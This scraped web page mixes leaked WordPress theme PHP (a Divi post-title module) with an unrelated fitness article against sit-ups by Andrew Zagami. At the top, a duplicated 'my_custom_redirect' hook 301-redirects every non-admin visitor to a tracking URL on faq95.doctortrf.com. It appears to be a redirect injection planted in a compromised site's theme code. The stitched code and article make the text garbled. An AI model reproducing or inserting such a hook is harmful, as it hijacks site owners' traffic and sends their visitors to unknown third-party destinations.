function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module { function init() { $this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' ); $this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' ); $this->slug = 'et_pb_fullwidth_post_title'; $this->vb_support = 'on'; $this->fullwidth = true; $this->defaults = array(); $this->featured_image_background = true; $this->main_css_element = '%%order_class%%'; $this->settings_modal_toggles = array( 'general' => array( 'toggles' => array( 'elements' => et_builder_i18n( 'Elements' ), ), ), 'advanced' => array( 'toggles' => array( 'text' => array( 'title' => et_builder_i18n( 'Text' ), 'priority' => 49, ), 'image_settings' => et_builder_i18n( 'Image' ), ), ), ); $this->advanced_fields = array( 'borders' => array( 'default' => array( 'css' => array( 'main' => array( 'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", 'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", ), ), ), ), 'margin_padding' => array( 'css' => array( 'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title", 'important' => 'all', ), ), 'fonts' => array( 'title' => array( 'label' => et_builder_i18n( 'Title' ), 'use_all_caps' => true, 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title", ), 'header_level' => array( 'default' => 'h1', ), ), 'meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a", 'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span", ), ), ), 'background' => array( 'css' => array( 'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg", ), ), 'max_width' => array( 'css' => array( 'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module', ), ), 'text' => array( 'options' => array( 'text_orientation' => array( 'default' => 'left', ), ), 'css' => array( 'main' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ) ), 'button' => false, ); $this->custom_css_fields = array( 'post_title' => array( 'label' => et_builder_i18n( 'Title' ), 'selector' => 'h1', ), 'post_meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'selector' => '.et_pb_title_meta_container', ), 'post_image' => array( 'label' => esc_html__( 'Featured Image', 'et_builder' ), 'selector' => '.et_pb_title_featured_container', ), ); $this->help_videos = array( array( 'id' => 'wb8c06U0uCU', 'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ), ), ); } function get_fields() { $fields = array( 'title' => array( 'label' => esc_html__( 'Show Title', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'meta' => array( 'label' => esc_html__( 'Show Meta', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'author', 'date', 'comments', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'author' => array( 'label' => esc_html__( 'Show Author', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date' => array( 'label' => esc_html__( 'Show Date', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'affects' => array( 'date_format', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date_format' => array( 'label' => esc_html__( 'Date Format', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'default_on_front' => 'M j, Y', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ), ), 'categories' => array( 'label' => esc_html__( 'Show Post Categories', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'show_if' => array( 'meta' => 'on', 'function.isPostOrTBLayout' => 'on', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'comments' => array( 'label' => esc_html__( 'Show Comments Count', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_image' => array( 'label' => esc_html__( 'Show Featured Image', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'featured_placement', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_placement' => array( 'label' => esc_html__( 'Featured Image Placement', 'et_builder' ), 'type' => 'select', 'option_category' => 'layout', 'options' => array( 'below' => esc_html__( 'Below Title', 'et_builder' ), 'above' => esc_html__( 'Above Title', 'et_builder' ), 'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ), ), 'default_on_front' => 'below', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ), ), 'force_fullwidth' => array( 'label' => esc_html__( 'Force Fullwidth', 'et_builder' ), 'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'layout', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_width' => array( 'label' => esc_html__( 'Featured Image Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ), 'default' => '100%', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_max_width' => array( 'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ), 'default' => 'none', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_height' => array( 'label' => esc_html__( 'Featured Image Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ), 'default' => 'auto', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_max_height' => array( 'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ), 'default' => 'none', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_alignment' => array( 'label' => esc_html__( 'Image Alignment', 'et_builder' ), 'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ), 'type' => 'align', 'option_category' => 'layout', 'options' => et_builder_get_text_orientation_options( array( 'justified' ) ), 'tab_slug' => 'advanced', 'toggle_slug' => 'image_settings', 'default' => 'center', 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'text_color' => array( 'label' => esc_html__( 'Text Color', 'et_builder' ), 'type' => 'select', 'option_category' => 'color_option', 'options' => array( 'dark' => et_builder_i18n( 'Dark' ), 'light' => et_builder_i18n( 'Light' ), ), 'default_on_front' => 'dark', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ), ), 'text_background' => array( 'label' => esc_html__( 'Use Text Background Color', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'color_option', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default_on_front' => 'off', 'affects' => array( 'text_bg_color', ), 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ), ), 'text_bg_color' => array( 'default' => 'rgba(255,255,255,0.9)', 'label' => esc_html__( 'Text Background Color', 'et_builder' ), 'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ), 'type' => 'color-alpha', 'depends_show_if' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'mobile_options' => true, ), ); return $fields; } public function get_transition_fields_css_props() { $fields = parent::get_transition_fields_css_props(); $fields['text_color'] = array( 'color' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ); $fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' ); return $fields; } function render( $attrs, $content = null, $render_slug ) { $multi_view = et_pb_multi_view_options( $this ); $date_format = $this->props['date_format']; $featured_image = $this->props['featured_image']; $featured_placement = $this->props['featured_placement']; $text_color = $this->props['text_color']; $text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props ); $text_background = $this->props['text_background']; $header_level = $this->props['title_level']; $text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' ); $post_id = get_the_ID(); // display the shortcode only on singlular pages if ( ! is_singular() ) { $post_id = 0; } $output = ''; $featured_image_output = ''; $parallax_image_background = $this->get_parallax_image_background(); if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) { // Largest featured image size is needed when featured image is used in "post" post type and full width layout $featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large'; $post_thumbnail_id = get_post_thumbnail_id( $post_id ); $featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 ); $featured_image_content = $multi_view->render_element( array( 'tag' => 'img', 'attrs' => array( 'src' => $featured_image_src, ) ) ); $featured_image_output = $multi_view->render_element( array( 'tag' => 'div', 'content' => sprintf( '
%1$s
', $featured_image_content ), 'attrs' => array( 'class' => 'et_pb_title_featured_container', ), 'visibility' => array( 'featured_image' => 'on', ), 'required' => array( 'featured_image' => 'on', ), ) ); $image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' ); $image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug ); if ( 'off' === $this->props['force_fullwidth'] ) { $image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' ); $image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug ); // Image alignment style $image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'text-align', $render_slug, '', 'align' ); $image_alignments = array( 'left' => 'auto auto auto 0', 'center' => 'auto', 'right' => 'auto 0 auto auto', ); foreach ( $image_alignment_values as $breakpoint => $alignment ) { $image_alignment_values[ $breakpoint ] = et_()->array_get( $image_alignments, $alignment, '' ); } et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'margin', $render_slug, '', 'align' ); ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%% .et_pb_image_wrap', 'declaration' => 'width: auto;', ) ); } } if ( $multi_view->has_value( 'title', 'on' ) ) { if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) { $post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) ); } else { // Unescaped for backwards compat reasons. $post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' ); } $output .= $multi_view->render_element( array( 'tag' => et_pb_process_header_level( $header_level, 'h1' ), 'content' => $post_title, 'attrs' => array( 'class' => 'entry-title', ), 'visibility' => array( 'title' => 'on', ) ) ); } if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) { $meta_array = array(); foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) { if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) { continue; } $meta_array[] = $multi_view->render_element( array( 'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ), 'classes' => array( 'et_pb_title_meta_item--visible' => array( $single_meta => 'on', 'meta' => 'on', ), ), 'visibility' => array( $single_meta => 'on', 'meta' => 'on', ), 'required' => array( $single_meta => 'on', 'meta' => 'on', ), ) ); } $output .= $multi_view->render_element( array( 'tag' => 'p', 'content' => implode( '', $meta_array ), 'attrs' => array( 'class' => 'et_pb_title_meta_container', ), 'visibility' => array( 'meta' => 'on', ), ) ); } if ( 'on' === $text_background ) { // Text Background Color. et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' ); if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) { ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%%:hover .et_pb_title_container', 'declaration' => sprintf( 'background-color: %1$s; padding: 1em 1.5em;', esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) ) ), ) ); } } $video_background = $this->video_background(); $background_layout = 'dark' === $text_color ? 'light' : 'dark'; $data_background_layout = ''; $data_background_layout_hover = ''; if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) { $data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) ); $data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) ); } // Module classnames $this->add_classname( array( 'et_pb_post_title', $this->get_text_orientation_classname(), "et_pb_bg_layout_{$background_layout}", ) ); if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) { $this->add_classname( 'et_pb_featured_bg' ); } if ( 'above' === $featured_placement ) { $this->add_classname( 'et_pb_image_above' ); } if ( 'below' === $featured_placement ) { $this->add_classname( 'et_pb_image_below' ); } // Remove automatically added classnames $this->remove_classname( array( 'et_pb_fullwidth_post_title', ) ); $muti_view_data_attr = $multi_view->render_attrs( array( 'classes' => array( 'et_pb_featured_bg' => array( 'featured_image' => 'on', 'featured_placement' => 'background', ), ), ) ); $output = sprintf( ' %4$s %7$s %5$s
%1$s
%6$s', $output, $this->module_classname( $render_slug ), $this->module_id(), $parallax_image_background, 'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5 'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '', $video_background, $data_background_layout, $data_background_layout_hover, et_core_esc_previously( $muti_view_data_attr ) // #10 ); return $output; } } new ET_Builder_Module_Fullwidth_Post_Title; Why You Should Never Do A Situp Again

Why You Should Never Do A Situp Again

Today I wanted to share with you some simple but highly effective training secrets from inside the personal training vault.  Some of you might already be doing this, but it is without doubt the most important facet of your training, that is to establish core strength

This is very important in not only helping your body move efficiently and prevent injury but also to achieve that amazing flat looking stomach. Core strength has been a buzz word for a while now and most people have an understanding of what it is about, but for those of you that don’t, put on your anatomy hat, make a cup of tea and get comfy!

situpsFor this example I would like for you to imagine your spine like the mast of a ship, I would also like you to imagine your rectus abominus (your six pack muscle) as one of the guide ropes from the mast to the deck. If you continually do situps and crunches this muscle will become really, really tight, or the rope on the mast.  If you could imagine then that the mast on the ship is only supported by this one rope and is actually being pulled down toward the deck by this rope which is so tight.  If the wind was to blow from any other direction that mast would be most unstable as it has only that one supporting rope to hold it up.  This is where core training becomes so effective, if you would imagine the mast on the ship with a small but strong opposing rope behind the mast and we will call this rope multifidus, the mast now has support from the front and the back.

Then if we attach a high rope from the side and a lower rope from the side of the mast to the deck and we will call them external and internal oblique’s.  If my description and your imagination correlate you should now see that the mast is supported in all directions by ropes that are equally strong and gently supporting in all directions, the mast (your spine) is stable now if the wind was to blow from any direction.  And it is for this reason that sit-ups are a waste of time as they only make you strong in one direction (and they are terrible for your neck and lower back- but don’t even get me started on this), the answer is to complete what is called a stability hold. This is where you support your body on your elbows and on you toes, you hold your self fixed in this position for about 1 minute.

There is one very important step to do before completing this and that is teaching you how to instigate your transverse abdominus muscle (T.A) this is another rope that attaches from the front of the mast to the deck, it’s smaller than the rope for rectus abdominus but very important for stability and function of the mast.  Relating that back to your spine, it’s a little muscle that sits on the inside of your pointy bits of your hip bones near where your pants would sit on your waist.  If you put your fingers just underneath your belly button then track 10 cm’s toward the left you should find the pointy hip bone I was talking about.

If you push with two fingers just on the inside (belly button side) of your hip bone, and then take a big cough for me (think terrible cold, nasty cough type) you should feel this muscle activate under your fingers. It is this very action you need in order to properly perform a stability hold, obviously we can’t have you coughing all the time to ensure that you have your T.A instigated but with practice you will be able to naturally instigate and hold the contraction for this muscle and without holding your breath.

 

As I said you should start slowly and build up as you feel yourself becoming stronger and stronger, goal is over a minute without the shakes!!

 

Good luck and here’s to a flat looking stomach

Andrew Zagami

 

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